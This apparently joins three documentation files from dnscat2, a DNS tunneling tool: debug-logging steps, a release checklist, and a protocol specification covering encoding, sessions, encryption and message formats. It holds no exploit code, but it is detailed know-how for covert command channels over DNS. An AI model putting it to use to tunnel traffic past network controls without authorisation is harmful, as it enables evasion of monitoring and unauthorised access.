37 * Log *everything* to stdout: `--firehose`
38 * Display detailed packet information: `--packet-trace`
39 * Temporarily allow unencrypted connections: `--security=open`
40 * Enable debug mode for ruby: `ruby -d [...]`
41
42 Here's the command:
43
44 # ruby -d dnscat2.rb --packet-trace --firehose --security=open [other options]
45
46 You can also redirect it into a file, though running commands might be
47 tricky:
48
49 # ruby -d dnscat2.rb --packet-trace --firehose --security=open [other options] 2>&1 | tee server-logfile.txt
50
51 ## Getting client logs...
52
53 Basically, you want to create a debug build, then run it with the
54 following additional options:
55
56 * Extra debug output: `-d`
57 * Display packet information: `--packet-trace`
58 * Disable encryption: `--no-encryption`
59
60 Here are the commands:
61
62 $ make clean debug
63 $ ./dnscat -d --packet-trace --no-encryption [other options]
64
65 You can also redirect it into a file:
66
67 $ ./dnscat -d --packet-trace --no-encryption [other options] 2>&1 | tee client-logfile.txt
68
69 ## Getting a pcap
70
71 If your problem is with the real transport (like UDP) - typically, that
72 means if the server sees nothing or just errors - then a pcap is
73 helpful!
74
75 You can run the command the same way as earlier, ensuring that the
76 server uses `--security=open` and the client uses `--no-encryption`,
77 then run a packet capture.
78
79 I find it helpful to manually set a less-common but legit DNS server
80 manually, such as 4.2.2.5 or 8.8.4.4, then to filter on those:
81
82 # tcpdump -s0 -w dnscat2-traffic.pcap host 4.2.2.5
83
84 That should generate dnscat2-traffic.pcap (depending on your OS, it
85 might be put somewhere weird; Gentoo runs tcpdump in a chroot
86 environment by default).
87
88 ## Segmentation faults
89
90 If you have a reproduceable segmentation fault on the client, please try
91 to send me a corefile:
92
93 $ ulimit -c unlimited
94 $ make clean debug
95 $ ./dnscat2 [options]
96
97 That should generate some sort of corefile you can send me.
98
99 If you're unable to get a corefile, or uncomfortable sharing one, then a
100 backtrace and registers at a minimum would be helpful:
101
102 $ make clean debug
103 $ gdb --args ./dnscat2 [options]
104
105 When the process crashes:
106
107 (gdb) bt
108 [...]
109 (gdb) info reg
110 [...]
111
112 And send along the information!
0 This document is written more for myself than for the community. But if
1 somebody else someday has to do a release (because, I dunno, I gave up
2 DNS for NetBIOS), this could be helpful. :)
3
4 ## Merge!
5
6 If there's a branch to merge, simply run:
7
8 git checkout master
9 git pull
10 git merge otherbranch
11 git push
12
13 Super simple!
14
15 ## Make sure the version number and docs are up to date
16
17 Both client/dnscat.c and server/dnscat2.rb contain a version number at
18 the top. Perhaps I should store it in a single place and include it
19 automatically, but at the moment it's not.
20
21 Things in the tools/ directory also have their own independent version
22 numbers. They should be updated if and only if the tool itself was
23 updated in some way.
24
25 Make sure other documentation is up to date, such as usage and output.
26
27 And finally, make sure docs/changelog.md is up to date.
28
29 ## Make sure it compiles on all platforms
30
31 Compile and give it a cursory test on all supported platforms:
32
33 * Linux (32- and 64-bit)
34 * FreeBSD
35 * Mac OS X
36 * Windows (via Visual Studio)
37
38 Be sure to compile in release mode, "make release", which enables
39 optimizations and disables some debug flags.
40
41 On Windows, you will also need to set the build profile to "Release".
42
43 It's especially important to make sure that Windows works, because
44 Visual Studio is so different from the rest of the platforms.
45
46 ## Compile and upload the distribution files
47
48 Release versions on Linux can be compiled using:
49
50 make release
51
52 Source distros can be packaged using:
53
54 make source_release
55
56 It even zips them for you! They're put into the dist/ folder.
57
58 Releases on other platforms (like Windows) require some manual work at
59 the moment. Please try to follow my naming scheme:
60
61 * dnscat2-v0.04-client-source.tar.bz2
62 * dnscat2-v0.04-client-source.zip
63 * dnscat2-v0.04-client-win32.zip
64 * dnscat2-v0.04-client-x64.tar.bz2
65 * dnscat2-v0.04-client-x86.tar.bz2
66 * dnscat2-v0.04-server.tar.bz2
67 * dnscat2-v0.04-server.zip
68
69 For binaries, the binaries in the archive should be simply "dnscat" - no
70 paths or anything like that.
71
72 FWIW, I don't provide a zip of the client and server source together
73 because that's exactly just what you get on github. :)
74
75 ## Sign and upload the release files
76
77 First, create signatures for all the files:
78
79 rm *.sig; for i in *; do gpg --armor --detach-sig --output $i.sig $i; done
80
81 Then upload them to https://downloads.skullsecurity.org/dnscat2/
82
83 ## Create and push a signed tag:
84
85 Create a signed tag with a comment like this one:
86
87 git tag -s "v0.02" -m "Beta release 2"
88
89 Then push it upstream:
90
91 git push origin v0.02
92
93 Once that's done, to publish the release:
94
95 * Add release notes on https://github.com/iagox86/dnscat2/tags
96 * Publish it on: https://github.com/iagox86/dnscat2/releases
97
98 ## In case you need to delete a tag
99
100 If you screw up, which I always do, here's the process to delete a tag:
101
102 git tag -d v0.02
103 git push origin :refs/tags/v0.02
0 # Introduction
1
2 This document describes the dnscat2 protocol.
3
4 I'm referring to this protocol as the dnscat2 protocol, although,
5 strictly speaking, it's not specific to dnscat or DNS in any way.
6 Basically, I needed a protocol that could track logical connections over
7 multiple lower-level connections/datagrams/whatever that aren't
8 necessarily reliable and where bandwidth is extremely limited.
9
10 Because this is designed for dnscat, it is poll-based - that is, the
11 client sends a packet, and the server responds to it. The server can't
12 know where the client is or how to initiate a connection, so that's
13 taken into account.
14
15 This protocol is datagram-based, has 16-bit session_id values that can
16 track the connection over multiple lower level connections, and handles
17 lower-level dropped/duplicated/out-of-order packets.
18
19 Below, I give a few details on what's required to make this work, a
20 description of how connections work, some constants used in the
21 messages, and, finally, a breakdown of the messages themselves.
22
23 # License
24
25 See LICENSE.md.
26
27 # Challenges
28
29 DNS is a pretty challenging protocol to use! Some of the problems
30 include:
31
32 * Every message requires a response of some sort
33 * Retransmissions and drops and out-of-order packets are extremely common
34 * DNS is restricted to alphanumeric characters, and isn't necessarily case sensitive
35
36 Both the DNS Transport Protocol and the dnscat protocol itself are
37 designed with these in mind. Unlike other DNS-tunneling tools, I don't
38 rely on having a TCP layer taking care of the difficult parts - dnscat
39 is capable of doing a raw connection over DNS.
40
41 # DNS Transport Protocol
42
43 The dnscat protocol itself is, in spite of its name, protocol agnostic.
44 It can be used over any polling protocol, such as DNS, HTTP, ICMP/Ping,
45 etc, which I'll refer to as a Transport Protocol. Each of these
46 platforms will have to wrap the data a little differently, though, and
47 this section discusses how to use the DNS protocol as the transport
48 channel.
49
50 ## Encoding
51
52 All data in both directions is transported in hex-encoded strings.
53 "AAA", for example, becomes "414141".
54
55 Any periods in the domain name must be ignored. Therefore, "41.4141",
56 "414.141", and "414141" are exactly equivalent.
57
58 Additionally, the protocol is not case sensitive, so "5b" and "5B" are
59 also equivalent. It's important for clients and servers to handle case
60 insensitivity, because [Fox0x01](https://github.com/Fox0x01) on github
61 [reported that](https://github.com/iagox86/dnscat2/pull/62#issuecomment-133471089)
62 some software [actively mangles](https://developers.google.com/speed/public-dns/docs/security?hl=en#randomize_case)
63 the case of requests!
64
65 ## Send / receive
66
67 The client can choose whether to append a domain name (the user must
68 have the authoritative server for the domain name) or prepend a static
69 tag ("dnscat.") to the message. In other words, the message looks like
70 this:
71
72 <encoded data>.<domain>
73
74 or
75
76 <tag>.<encoded data>
77
78 Any data that's not in that form, or that's in an unsupported record
79 type, or that has an appended domain that's unknown to the dnscat
80 server, can either be discarded by the server or forwarded to an
81 upstream DNS server. The server may choose.
82
83 The dnscat2 server must respond with a properly formatted DNS response
84 directly to the host that made the request, containing no error bit set
85 and one or more answers. If more than one answer is present, the first
86 byte of each answer must be a 1-byte sequence number (intermediate DNS
87 servers often rearrange the order of records).
88
89 The record type of the response records should be the same as the record
90 type of the request. The precise way the answer is encoded depends on
91 the record type.
92
93 ## DNS Record type
94
95 The dnscat server supports the most common DNS message types: `TXT`, `MX`,
96 `CNAME`, `A`, and `AAAA`.
97
98 In all cases, the request is encoded as a DNS record, as discussed
99 above.
100
101 The response, however, varies slightly.
102
103 A `TXT` response is simply the hex-encoded data, with nothing else. In
104 theory, `TXT` records should be able to contain binary data, but
105 Windows' DNS client truncates `TXT` records at NUL bytes so the encoding
106 is necessary.
107
108 A `CNAME` or `MX` record is encoded the same way as the request: either
109 with a tag prefix or a domain postfix. This is necessary because
110 intermediate DNS servers won't forward the traffic if it doesn't end
111 with the appropriate domain name. The `MX` record type also has an
112 additional field in DNS, the priority field, which can be set randomly
113 and should be ignored by the client.
114
115 Finally, `A` and `AAAA` records, much like `TXT`, are simply the raw
116 data with no domain/tag added. However, there are two catches. First,
117 due to the short length of the answers (4 bytes for `A` and 16 bytes for
118 `AAAA`), multiple answers are required. Unfortunately, the DNS hierarchy
119 re-arranges answers, so each record must have a one-byte sequence number
120 prepended. The values don't matter, as long as they can be sorted to
121 obtain the original order.
122
123 The second problem is, there's no clear way to get the length of the
124 response, because the response is, effectively in blocks. Therefore, the
125 length of the data itself, encoded as a signle byte, is preprended to
126 the message. If the data doesn't wind up being a multiple of the block
127 size, then it can be padded however the developer likes; the padding
128 must be ignored by the other side.
129
130 An A response might look like:
131
132 0.9.<byte1>.<byte2> 1.<byte3><byte4><byte5> 2.<byte6><byte7><byte8> 3.<byte9>.<pad>.<pad>
133
134 Where the leading `0` is the sequence number of the block, the `9` is
135 the length, and the `2` and `3` are sequence numbers.
136
137 ## Errors
138
139 If the server encounters and error (for example, an exception occurs or
140 a bad message is received), it can take a few actions depending on the
141 severity:
142
143 * For errors that should be ignored (for example, a duplicate SYN packet is
144 received), it should return no dnscat2 data (a blank message; on TXT/A/AAAA,
145 it's literally no data returned; on CNAME/MX/NS, where the domain name is
146 mandatory, the domain name alone should be returned ("skullseclabs.org" for
147 example).
148 * For fatal errors (like an unhandled exception on the server), a FIN packet
149 with a descriptive message should be returned.
150
151 # dnscat protocol
152
153 Above, I defined the DNS Transport Protocol, which is how to send data
154 through DNS, Below is the actual dnscat protocol, which is what clients
155 and servers must talk.
156
157 ## Connections
158
159 A "connection" is a logical session established between a client and a
160 server. A connection starts with a `SYN`, typically contains one of more
161 `MSG` packets, typically ends with a `FIN` (or with one party disappearing),
162 and has a unique 16-bit identifier called the `session_id`. Note that
163 `SYN`/`FIN` shouldn't be confused with the TCP equivalents - these are
164 purely a construct of dnscat.
165
166 To summarize: A session is started by the client sending the server a
167 `SYN` packet and the server responding with a `SYN` packet. The client
168 sends MSG packets and the server responds with `MSG` packets. When the
169 client decides a connection is over, it sends a `FIN` packet to the
170 server and the server responds with a `FIN` packet. When the server
171 decides a connection is over, it responds to a `MSG` from the client
172 with a `FIN` and the client should no longer respond.
173
174 A `flags` field is exchanged in the `SYN` packet. These flags affect the
175 entire session.
176
177 Unexpected packets are ignored in most states. See below for specifics.
178
179 Both the dnscat client and the dnscat client are expected to handle
180 multiple sessions; the dnscat client will often have multiple
181 simultaneous sessions open with the same server, whereas the server can
182 have multiple simultaneous connections with different clients.
183
184 A good connection looks like this:
185
186 +----------------+
187 | Client Server |
188 +----------------+
189 | SYN --> | |
190 | | v |
191 | | <-- SYN |
192 | v | |
193 | MSG --> | |
194 | | v |
195 | | <-- MSG |
196 | v | |
197 | MSG --> | |
198 | | v |
199 | | <-- MSG |
200 | ... ... |
201 | ... ... |
202 | ... ... |
203 | | | |
204 | v | |
205 | FIN --> | |
206 | v |
207 | <-- FIN |
208 +----------------+
209
210 If the server decides a connection is over, the server will return a FIN:
211
212 +----------------+
213 | Client Server |
214 +----------------+
215 | SYN --> | |
216 | | v |
217 | | <-- SYN |
218 | v | |
219 | MSG --> | |
220 | | v |
221 | | <-- MSG |
222 | v | |
223 | MSG --> | |
224 | | v |
225 | | <-- FIN |
226 | v |
227 | (nil) |
228 +----------------+
229
230 If an unexpected MSG is received, the server will respond with an error (FIN):
231
232 +----------------+
233 | Client Server |
234 +----------------+
235 | MSG --> | |
236 | | v |
237 | | <-- FIN |
238 | v |
239 | (nil) |
240 +----------------+
241
242 If an unexpected FIN is received, the server will ignore it:
243
244 +----------------+
245 | Client Server |
246 +----------------+
247 | FIN --> | |
248 | v |
249 | (nil) |
250 +----------------+
251
252 ## SEQ/ACK numbers
253
254 `SEQ` (sequence) and `ACK` (acknowledgement) numbers are used similar to
255 the equivalent values in TCP. At the start of a connection, both the
256 client and server choose a random ISN (initial sequence number) and send
257 it to the other.
258
259 The `SEQ` number of the client is the `ACK` number of the server, and
260 the `SEQ` number of the server is the `ACK` number of the client. That
261 means that both sides always know which byte offset to expect.
262
263 Each side will send somewhere between 0 and an infinite number of bytes
264 to the other side during a session. As more data gets queued to be sent,
265 it's helpful to imagine that you're appending the bytes to send to the list
266 of all bytes ever sent. When a message is going out, the system should
267 look at its own sequence number and the byte queue to decide what to
268 send. If there are bytes waiting that haven't been acknowledged by the
269 peer, it should send as many of those bytes as it can along with its
270 current sequence number.
271
272 When a message is received, the receiver must compare the sequence
273 number in the message with its own acknowledgement number. If it's
274 lower, that means that old data is being received and it must be
275 re-acknowledged (the `ACK` may have gotten lost, which caused the server
276 to re-send). If it's higher, the data can either be cached until it's
277 needed, or silently discarded (the peer may be sending multiple packets
278 at once for speed gains). If it's equal, the message can then be
279 processed.
280
281 When a message is processed, the receiver increments its `ACK` by the
282 number of bytes in the packet, then responds with the new `ACK`, its
283 current `SEQ`, and any data that is waiting to be sent.
284
285 When the sender sees the incremented `ACK`, it should increment its own
286 `SEQ` number (assuming the `ACK` value is sane; if it's not, it should
287 be silently discarded). Then it sends new data from the updated offset
288 (that is, the new `SEQ` value).
289
290 You'll note that both sides are constantly acknowledging the other
291 side's data (by adding the length to the other side's `SEQ` number)
292 while sending out its own data and updating its own `SEQ` number (by
293 looking at the other side's `ACK` number).
294
295 ## Command protocol
296
297 There's a secondary protocol that runs on top of the dnscat protocol
298 known as the "command protocol". If `OPT_COMMAND` is set in the SYN
299 header, then all messages are treated as command messages, and must
300 follow the command protocol.
301
302 Full information about the command protocol and everything it does can
303 be found in [command_protocol.md](command_protocol.md)!
304
305 ## Tunneling
306
307 As of December/2015, dnscat2 supports tunneling arbitrary connections
308 via dnscat2.
309
310 Tunneling is actually implemented as part of the command protocol, so
311 check out the [command_protocol.md](command_protocol.md) document for
312 full information!
313
314 ## Encryption / signing
315
316 It's important to start by noting: this isn't designed to be strong
317 encryption, with assurances like SSL. It's designed to be fast, easy to
318 implement, and to prevent passive eavesdropping. Active (man in the
319 middle) attacks are only prevented using a pre-shared secret, which is
320 optional by default.
321
322 To summarize, a ECDH and SHA3 are used to generate a shared symmetric
323 key, which is used with SHA3 and Salsa20 to sign and encrypt all
324 messages between the client and server.
325
326 Only packets' bodies are encrypted; the headers are cleartext. This is
327 necessary, because otherwise it's impossible to know who encrypted the
328 message and which key should be used to decrypt it.
329
330 The data that crosses the network in cleartext is:
331
332 * `packet_id` - a meaningless random value
333 * `packet_type` - information on the type of packet (syn/msg/fin/etc.)
334 * `session_id` - uniquely identifies the session
335
336 These give no more information than the unencrypted TCP headers of a
337 typical TLS session, so I decided that it's safe enough.
338
339 The next few sections will detail the various parts of the encryption
340 and signing. At the end, there will be a section with specific
341 implementation and library information for C and Ruby.
342
343 ### Key exchange
344
345 Key exchange is performed using the "P-256" elliptic curve and SHA3-256.
346 The client and server each generates a random 256-bit secret key at the
347 start of a connection, then derive a shared (symmetric) key. This is
348 all performed in the `MESSAGE_TYPE_ENC` (aka, `ENC`) packet, subtype
349 `INIT` (aka, `ENC|AUTH`).
350
351 Once both sides have the other's public key, the client and server use
352 those keys to generate the `shared_secret`, using standard ECDH. The
353 `shared_secret` is SHA3'd with a few different static strings to
354 generate the actual keys:
355
356 `shared_secret = ECDH("P-256", their_public_key, my_private_key)`
357 `client_write = SHA3-256(shared_secret || "client_write_key")`
358 `client_mac = SHA3-256(shared_secret || "client_mac_key")`
359 `server_write = SHA3-256(shared_secret || "server_write_key")`
360 `server_mac = SHA3-256(shared_secret || "server_mac_key")`
361
362 Note that, without peer authentication (see below), this is vulnerable to
363 man-in-the-middle attacks. But it still prevents passive inspection, so
364 it isn't completely without merit, and should be used as the default
365 mode. Servers may choose whether or not to require encryption and
366 authentication.
367
368 ### Peer authentication
369
370 The client and server can optionally use a pre-shared secret (ie, a
371 password or a key) to prevent man-in-the-middle attacks.
372
373 `preshared_secret` is something the client and server have to
374 pre-decide. Typically, it'll be passed in as a commandline argument.
375 The server may even auto-generate a key for each listener and give the
376 user the specific command to enter the key.
377
378 If a client attempts to authenticate, the server *MUST* authenticate
379 back. If the client authenticates and the server doesn't, the client
380 *MUST* terminate the connection.
381
382 Authentication, like encryption, isn't mandatory in the protocol; the
383 client can choose whether or not to negotiate it, and the server can
384 choose whether or not to allow or require it.
385
386 The actual authentication is done in an `ENC|AUTH` packet. It should be
387 sent immediately after the initial key exchange.
388
389 The authentication strings are computed using SHA3-256:
390
391 client_authenticator = SHA3-256("client" || shared_secret || pubkey_client || pubkey_server || preshared_secret)
392 server_authenticator = SHA3-256("server" || shared_secret || pubkey_client || pubkey_server || preshared_secret)
393
394 ### Short-authentication strings
395
396 Instead of using peer authentication, a short-authentication string can
397 be used. This is a way for the user to visually validate that the client
398 and server are connected to each other, and not to somebody else. This
399 *SHOULD* be displayed to the user if a pre-shared secret isn't being
400 used.
401
402 This is done by first taking the first 6 bytes (48 bits) of this hash:
403
404 sas = SHA3-256("authstring" || shared_secret || public_key_client || public_key_server)[0,6]
405
406 Where the public keys are the full x and y coordinates, represented as
407 64-byte strings (or pairs of 32-byte strings).
408
409 After calculating that value, for each byte, look up the corresponding
410 line in [this word list](/data/wordlist_256.txt) and display it to the
411 user. It's up to the user to verify that the 6 words on the client
412 match the 6 words on the server - they can choose whether or not to
413 actually do that.
414
415 ### Stream encapsulation
416
417 A standard dnscat2 packet contains a 5-byte header and an arbitrarily
418 long body. The header must be transmitted unencrypted, but must be
419 signed.
420
421 After each dnscat2 packet is serialized to a byte stream, but before
422 it's converted to DNS by the `tunnel_driver`, the packet's body is
423 wrapped in encryption and the full packet is signed.
424
425 To encrypt each packet, a distinct nonce value is required, so an
426 incremental 16-bit value is used. When the client or server's nonce
427 value approaches the maximum value (0xFFFF (65535)), the client *must*
428 initiate a re-negotiation (see below). The client and server *MUST NOT*
429 allow the other to re-use a nonce or to decrement the nonce, unless a
430 re-negotiation has happened since it was last used. Any packets
431 containing the same or a lower nonce should be ignored (but that should
432 not terminate the connection; otherwise, it's an easy DoS).
433
434 A server has to deal with receiving multiple packets with the *same*
435 nonce carefully. DNS tends to retransmit itself, so receiving multiple
436 packets with the same nonce isn't surprising. In particular, this will
437 happen if the server's response was lost on the way back to the client.
438 If a response is lost, the client will eventually re-transmit with a new
439 nonce, and the server will be able to handle it appropriately; as such,
440 a server *MUST NOT* respond to multiple messages with the same nonce.
441
442 Encrypting the body is simply done with salsa20:
443
444 encrypted_data = salsa20(packet_body, nonce, write_key)
445
446 The packet_body is the sixth byte of the packet and onwards (everything
447 after the header). The nonce is the nonce value, encoded in big endian,
448 padded with zeroes to 8 bytes. The write_key is the write_key for the
449 client or server, as appropriate.
450
451 Each packet also requires a signature. This is to prevent
452 man-in-the-middle attacks, so as long as it can hold off an attacker for
453 more than a couple seconds, it's suitable. As such, we use SHA3-256
454 truncated to 48 bits.
455
456 The signature covers the 5-byte packet header, the nonce, and the
457 encrypted body.
458
459 The calculation for the signature is:
460
461 signature = SHA3(mac_key || packet_header || nonce || encrypted_body)[0,6]
462
463 Where the `write_key` and `mac_key` are either the client's or the
464 server's respective keys, depending on who's performing the operation.
465 The `nonce` is the two-byte big-endian-encoded nonce value, and the
466 `encrypted_body` is, of course, the body after it's been encrypted.
467
468 The final encapsulated packet looks like this:
469
470 * (byte[5]) header
471 * (byte[6]) signature
472 * (byte[2]) nonce
473 * (byte[]) encrypted_body
474
475 ### Re-negotiation
476
477 Note: This isn't implemented anywhere yet, and is likely to change!
478
479 To re-negotiate encryption, the client simply sends another `ENC|INIT`
480 message to the server with a new public key, encrypted and signed as a
481 normal message. The server will respond with a new pubkey of its own in
482 its own `ENC` packet, exactly like the original exchange.
483
484 Authentication is not re-performed. The connection is assumed to still
485 be authenticated.
486
487 After successful re-negotiation, the client and server *SHOULD* both
488 reset their nonce values back to 0. The next packet after the `ENC`
489 packet should be encrypted with the new key, and the old one should be
490 discarded (preferably zeroed out so it can't be recovered, if possible).
491
492 ### Re-transmits and keys
493
494 One really annoying thing about dnscat2 is that it has to operate over a
495 really, really bad protocol: DNS.
496
497 A bug I ran into a lot when testing code through actual DNS servers is
498 that actual DNS servers will gratuitously re-transmit like crazy,
499 especially if you aren't fast enough (and ruby key generation is a tad
500 slow). That means the implementation has to deal with re-transmissions
501 cleanly.
502
503 Imagine this: the client starts the session with an `ENC|INIT` packet,
504 and the server responds with `ENC|INIT`. At that point, the server is
505 ready to receive encrypted packets! However, the next packet is almost
506 always another unencrypted `ENC|INIT` packet. That screws up everything.
507
508 Likewise when re-keying. You're almost always going to receive at least
509 one message with the old key when re-keying is performed. That's why we
510 love DNS so much!
511
512 You might think it's safe to just ignore packets you receive with the
513 wrong key. Unfortunately, that's not enough. Imagine a client sent you
514 an `ENC|INIT`, either at the start or during a stream, but the response
515 was dropped. That happens, frequently. At that point, you're expecting
516 one set of keys, but the client is using another. From then on, it's
517 impossible to communicate!
518
519 Fortunately for clients, they don't have to worry about this. As soon as
520 a client receives a new key, it can safely cut over to it immediately.
521 Servers, however, do require some special treatment. Here's how I deal
522 with it...
523
524 Always keep the previous encryption keys handy immediately after
525 changing them. When a message is received, attempt to decrypt it with
526 the *new* key *first*. If the signature turns out to be wrong, fall back
527 to the previous key, and use that to decrypt it. If the previous key has
528 to be used to decrypt the message, always respond using that key: it's
529 often a sign that the client doesn't know about the new key yet.
530
531 And then, *as soon as you receive data encrypted with the new key,
532 delete the old one from memory*. Once you've received a packet encrypted
533 with the key, you know the client has the proper key and you can safely
534 discard the old ones. But up to that point, you're stuck supporting both
535 for a brief period.
536
537 Note that even with this feature, the server *MUST NOT* allow the same
538 nonce to be used with the same key! That undermines all security!
539
540 ### Algorithms
541
542 #### ECDH
543
544 The Prime256v1 (aka "P-256" or "Nisp256") curve is used for the ECDH key
545 exchange.
546
547 The following are the defined constants:
548
549 p: 11579208921035624876269744694940757353008614_3415290314195533631308867097853951,
550 a: -3,
551 b: 0x5ac635d8_aa3a93e7_b3ebbd55_769886bc_651d06b0_cc53b0f6_3bce3c3e_27d2604b,
552 g: [0x6b17d1f2_e12c4247_f8bce6e5_63a440f2_77037d81_2deb33a0_f4a13945_d898c296,
553 0x4fe342e2_fe1a7f9b_8ee7eb4a_7c0f9e16_2bce3357_6b315ece_cbb64068_37bf51f5],
554 n: 11579208921035624876269744694940757352999695_5224135760342422259061068512044369,
555 h: nil, # cofactor not given in NIST document
556
557 This is implemented in the Ruby gem
558 [ecdsa](https://github.com/DavidEGrayson/ruby_ecdsa) and in the C library
559 [micro-ecc](https://github.com/kmackay/micro-ecc).
560
561 To generate a keypair in Ruby:
562
563 require 'ecdsa'
564 require 'securerandom'
565
566 my_private_key = 1 + SecureRandom.random_number(ECDSA::Group::Nistp256.order - 1)
567 my_public_key = ECDSA::Group::Nistp256.generator.multiply_by_scalar(my_private_key)
568
569 To import another public key (the values must be Bignum values, see
570 [encryptor.rb](/server/controller/encryptor.rb) for how to do that):
571
572 their_public_key = ECDSA::Point.new(ECDSA::Group::Nistp256, their_public_key_x, their_public_key_y)
573
574 And to generate the shared secret:
575
576 shared_secret = their_public_key.multiply_by_scalar(my_private_key)
577
578 In C, the keypair can be generated like this:
579
580 #include "libs/crypto/micro-ecc/uECC.h"
581 uECC_make_key(their_public_key, my_private_key, uECC_secp256r1())
582
583 To calculate the shared secret, the peer's public key must be formatted
584 as a 64-byte string, where the first 32 bytes represent the `x`
585 coordinate and the second 32 bytes represent the `y` coordinate:
586
587 uECC_shared_secret(their_public_key, my_private_key, shared_secret, uECC_secp256r1())
588
589 To test your code, here are all the variables in a successful key
590 exchange:
591
592 alice_private_key: 7997cdc9af9690c78e58468c6a5f273b4c22a8a6e6a0e4be32e81d17c78a3f8b
593 alice_public_key_x: a651dedcb8833d574628bbb7b2fa2e63f3ac528aca48d38901955b6c76515c80
594 alice_public_key_y: a5d16a0bcfcc76868e9179f44c28eae55b48bacb3168f8977156e1edc7b6334d
595
596 bob_private_key: 612b7bb5b84cdb200e4108d6ca52bc4fad94cd04fa8711227e17a268d16a7b85
597 bob_public_key_x: 8a748d60b9293e3e5f5d8b50793e476190f869b1006a23aa462ac5cd32572f1a
598 bob_public_key_y: 04e11e6440c579a3e13e67661004337ce63fd05bbeaa8c211f8fef844c075b34
599
600 shared_secret: 6db2c22f7b0fd8921a15cf22bcbecfe84da0a852075f2707b2a24e19d9f4a6cf
601
602 #### SHA3
603
604 SHA3 is used in the protocol for simplicity; HMAC and similar constructs
605 aren't required, we can simply concatenate data inside the hash (as it
606 was designed to allow).
607
608 The downside of SHA3 is that finding a proper implementation can be
609 tricky!
610
611 We use the 256-bit output (SHA3-256) in every case. When we need a
612 48-bit string, rather than using SHA3-48 (which isn't always
613 implemented), we simply truncate a SHA3-256 output to the proper length,
614 which should be safe to do per the SHA3 standard.
615
616 The [sha3 gem](https://github.com/johanns/sha3), as of 1.0.1, implements
617 SHA3 properly. You can verify that whatever your library is using
618 generates the right string by hashing the empty string:
619
620 1.9.3-p392 :004 > require 'sha3'
621 => false
622 1.9.3-p392 :003 > SHA3::Digest.new(256).hexdigest('')
623 => "a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a"
624
625 If you get that value, it's working! If you get something else, then
626 look for another implementation. As of late 2015, I found lots of
627 problematic libraries.
628
629 To test your implementation, the `shared_secret` defined above should generate
630 the following session keys:
631
632 shared_secret: 6db2c22f7b0fd8921a15cf22bcbecfe84da0a852075f2707b2a24e19d9f4a6cf
633 client_write_key: 95f786ebf2f4bd460a4031f6b097f54635c27fb8df4c53cfd225c6d9d7ef3abc
634 client_mac_key: 726505b9481b72f123fa40aef9f6e777c0070b3cc016f097a8e9569ef4200810
635 server_write_key: a795d45bd0baee7bdef64c7053f1f63b9a2edc0c3c876abe45282dd2dc777d53
636 server_mac_key: 40cb251330c07f2cfd084c841a707aa66e81e1d70775d45bcbc6a6ec72f97e91
637
638 #### Salsa20
639
640 I chose Salsa20 because it has a nice implementation in both C and Ruby,
641 and is generally considered to be a secure stream cipher. It also uses a
642 256-bit key, which is rather nice (all my cryptographic values are
643 256 bits!).
644
645 You can verify it's working by encrypting 'password' with a blank
646 (all-NUL) 256-bit key and a blank (all-NUL) nonce and checking the
647 output against mine:
648
649 1.9.3-p392 :001 > require 'salsa20'
650 => true
651 1.9.3-p392 :002 > Salsa20.new("\0"*32, "\0"*8).encrypt("password").unpack("H*")
652 => ["eaf68528ec23007f"]
653
654 ## Constants
655
656 /* Message types */
657 #define MESSAGE_TYPE_SYN (0x00)
658 #define MESSAGE_TYPE_MSG (0x01)
659 #define MESSAGE_TYPE_FIN (0x02)
660 #define MESSAGE_TYPE_ENC (0x03)
661 #define MESSAGE_TYPE_PING (0xFF)
662
663 /* Encryption subtypes */
664 #define ENC_SUBTYPE_INIT (0x00)
665 #define ENC_SUBTYPE_AUTH (0x01)
666
667 /* Options */
668 #define OPT_NAME (0x01)
669 #define OPT_COMMAND (0x20)
670
671 ## Messages
672
673 This section will explain how to encode each of the message types. All
674 fields are encoded big endian, and the entire packet is sent via the DNS
675 Transport Protocol, defined above. It is assumed that the transport
676 protocol handles the length, and the length of the packet is known.
677
678 All messages contain a 16-bit `packet_id` field - this should be changed
679 (randomized or incremented.. it doesn't matter) for each message sent
680 and ignored by the receiver. It's purely designed to deal with caching
681 problems.
682
683 ### Datatypes
684
685 As mentioned above, all fields are encoded as big endian (network byte
686 order). The following datatypes are used:
687
688 * `uint8_t` - an 8-bit (one-byte) value
689 * `uint16_t` - a 16-bit (two-byte) value
690 * `uint32_t` - a 32-bit (four-byte) value
691 * `uint64_t` - a 64-bit (eight-byte) value
692 * `ntstring` - a null-terminated string (that is, a series of bytes with a NUL byte ("\0") at the end
693 * `byte[]` - an array of bytes - if no size is specified, then it's the rest of the packet
694
695 ### MESSAGE_TYPE_SYN [0x00]
696
697 - (uint16_t) packet_id
698 - (uint8_t) message_type [0x00]
699 - (uint16_t) session_id
700 - (uint16_t) initial sequence number
701 - (uint16_t) options
702 - If OPT_NAME is set:
703 - (ntstring) session_name
704
705 #### Notes
706
707 - Each connection is initiated by a client sending a SYN containing a
708 random session_id and random initial sequence number to the server as
709 well as its requested options
710 - The following options are defined:
711 - OPT_NAME - 0x01 [C->S]
712 - Packet contains an additional field called the session name, which
713 is a free-form field containing user-readable data
714 - OPT_COMMAND - 0x20 [C->S]
715 - This is a command session, and will be tunneling command messages
716 - OPT_ENCRYPTED - 0x40 [C->S and S->C]
717 - We're negotiating encryption
718 - `crypto_flags` are currently undefined, and 0
719 - The public key x and y values are the BigInteger values converted
720 directly to hex values, then padded on the left with zeroes (if
721 necessary) to make 32 bytes.
722 - The server responds with its own SYN, containing its initial sequence
723 number and its options.
724 - If the client's request contained `OPT_ENCRYPTED`, the server's
725 response *MUST* also contain it.
726 - Both the `session_id` and initial sequence number should be
727 randomized, not incremental or static or anything, to make
728 connection-hijacking attacks more difficult (the two sequence numbers
729 and the session_id give us approximately 48-bits of entropy per
730 connection).
731 - `packet_id` should be different for each packet, and is entirely
732 designed to prevent caching. Incremental is fine. The peer should
733 ignore it.
734 - If the server received multiple identical SYN packets, it should reply
735 to each of them the same way (this is required in case the response to
736 the SYN gets dropped).
737 - If the server receives a different SYN packet with the same
738 session_id, it should be ignored (this prevents session stealing).
739
740 #### Error states
741
742 - If a client doesn't receive a response to a SYN packet, it means
743 either the request or response was dropped. The client can choose to
744 re-send the SYN packet for the same session, or it can generate a new
745 SYN packet or session.
746 - If a server receives a second SYN for the same session before it
747 receives a MSG packet, it should respond as if it's valid (the
748 response may have been lost).
749 - "if it's valid" means if it contains the same options, the same
750 sequence number, the same name (if applicable), and the same
751 encryption key (if applicable).
752 - If a client or server receives a SYN for a connection during said
753 connection, it should be silently discarded.
754
